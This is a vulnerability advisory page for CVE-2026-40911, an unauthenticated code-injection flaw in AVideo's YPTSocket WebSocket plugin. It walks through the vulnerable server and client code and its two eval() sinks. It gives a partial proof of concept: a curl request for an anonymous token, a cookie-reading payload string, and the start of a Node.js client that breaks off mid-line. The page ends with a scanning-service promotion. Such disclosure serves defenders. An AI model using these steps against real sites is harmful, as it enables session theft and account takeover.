🛡️ CVE-2026-40911 — avideo

🔴 CVSS 10.0 — Critical ⚠️ Exploit Public CWE-94 NVD
10.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

WWBN AVideo YPTSocket WebSocket Broadcast Relay Leads to Unauthenticated Cross-User JavaScript Execution via Client-Side eval() Sinks

Summary

The YPTSocket plugin's WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the msg or callback fields. On the client side, plugin/YPTSocket/script.js contains two eval() sinks fed directly by those relayed fields (json.msg.autoEvalCodeOnHTML at line 568 and json.callback at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution.

Details

Token issuance is unauthenticated

plugin/YPTSocket/getWebSocket.json.php:11-21 returns a token to anyone whose request reaches the endpoint — the only check is that the plugin is enabled:

```php

if(!AVideoPlugin::isEnabledByName("YPTSocket")){

$obj->msg = "Socket plugin not enabled";

die(json_encode($obj));

}

$obj->error = false;

$obj->webSocketToken = getEncryptedInfo(0);

$obj->webSocketURL = YPTSocket::getWebSocketURL();

```

getEncryptedInfo() in plugin/YPTSocket/functions.php:3-16 populates from_users_id = User::getId() (0 for guests) and isAdmin = User::isAdmin() (false for guests). The issued token is accepted by the WebSocket server's onOpen handler (Message.php:44-52) solely by successful decryption — there is no requirement for the connecting principal to be authenticated.

Server relays attacker JSON verbatim

plugin/YPTSocket/Message.php:191-245 — the default branch of onMessage only rewrites from_identification:

```php

public function onMessage(ConnectionInterface $from, $msg) {

...

$json = _json_decode($msg);

if (empty($json->webSocketToken)) { return false; }

if (!$msgObj = getDecryptedInfo($json->webSocketToken)) { return false; }

switch ($json->msg) {

...

default:

$this->msgToArray($json);

if (isset($json['from_identification'])) {

$json['from_identification'] = strip_tags((string)($msgObj->user_name ?? ''));

}

...

} else {

$this->msgToAll($from, $json); // broadcast

}

break;

}

}

```

msgToResourceId() at Message.php:297-310 copies the attacker-controlled callback and msg fields into the outbound payload:

```php

if (isset($msg['callback'])) {

$obj['callback'] = $msg['callback']; // tainted

...

}

...

} else if (!empty($msg['msg'])) {

$obj['msg'] = $msg['msg']; // tainted — entire object forwarded verbatim

}

```

$obj is JSON-encoded at line 335 and sent to every connected client.

Client-side sink #1: autoEvalCodeOnHTML → eval

plugin/YPTSocket/script.js:163-169 (raw WebSocket transport) sets every inbound frame as yptSocketResponse and unconditionally calls parseSocketResponse():

```js

connWS.onmessage = function (e) {

var json = JSON.parse(e.data);

...

yptSocketResponse = json;

parseSocketResponse();

...

};

```

parseSocketResponse() at script.js:545-569 reaches the sink:

```js

async function parseSocketResponse() {

const json = yptSocketResponse;

...

if (json.msg?.autoEvalCodeOnHTML !== undefined) {

eval(json.msg.autoEvalCodeOnHTML); // <-- attacker-controlled

}

...

}

```

Client-side sink #2: json.callback → eval

plugin/YPTSocket/script.js:91-95processSocketJson() concatenates attacker-controlled json.callback into an eval'd string. This path is reachable on BOTH transports: the raw WebSocket branch (script.js:182) and the Socket.IO branch (script.js:339 via socket.on("message", (data) => { … processSocketJson(data) })):

```js

if (json.callback) {

var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }";

socketLog('Executing callback:', json.callback);

eval(code);

...

}

```

Because json.callback is interpolated as raw source, a payload like alert(document.cookie);window.x breaks out of the typeof expression and executes during the condition evaluation.

PoC

Prerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs).

Step 1 — obtain a token anonymously (no cookies, no auth):

```bash

curl -s 'https://target.example/plugin/YPTSocket/getWebSocket.json.php'

```

Expected output (abbreviated):

```json

{"error":false,"msg":"","webSocketToken":"<long encrypted token>","webSocketURL":"wss://target.example:8888/?webSocketToken=<token>&..."}

```

Step 2 — connect to the WebSocket endpoint using the returned webSocketURL. A minimal Node.js client:

```js

const WebSocket = require('ws');

const TOKEN = '<token from

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability high.

Weakness class

CVE-2026-40911 is classified as CWE-94: Code Injection. Input is incorporated into code that the runtime evaluates, so an attacker can have their own code executed.

Affected software

CVE-2026-40911 is recorded against 2 packages.

  • avideo (fixed in 29.0)
  • wwbn/avideo

Timeline and source

Published on 21 April 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com
github.com
github.com

Details

Severity CRITICAL
CVSS Score 10.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE CWE-94
Public Exploit ⚠️ Yes
Source NVD
Published 2026-04-21
Updated 2026-08-12
Modified 2026-06-17

Affected Packages

Software From version Fixed in
avideo 29.0
wwbn/avideo

Similar Threats

Exploit Protection

Are you running avideo?

CVE-2026-40911 carries CVSS 10.0 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-40911 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.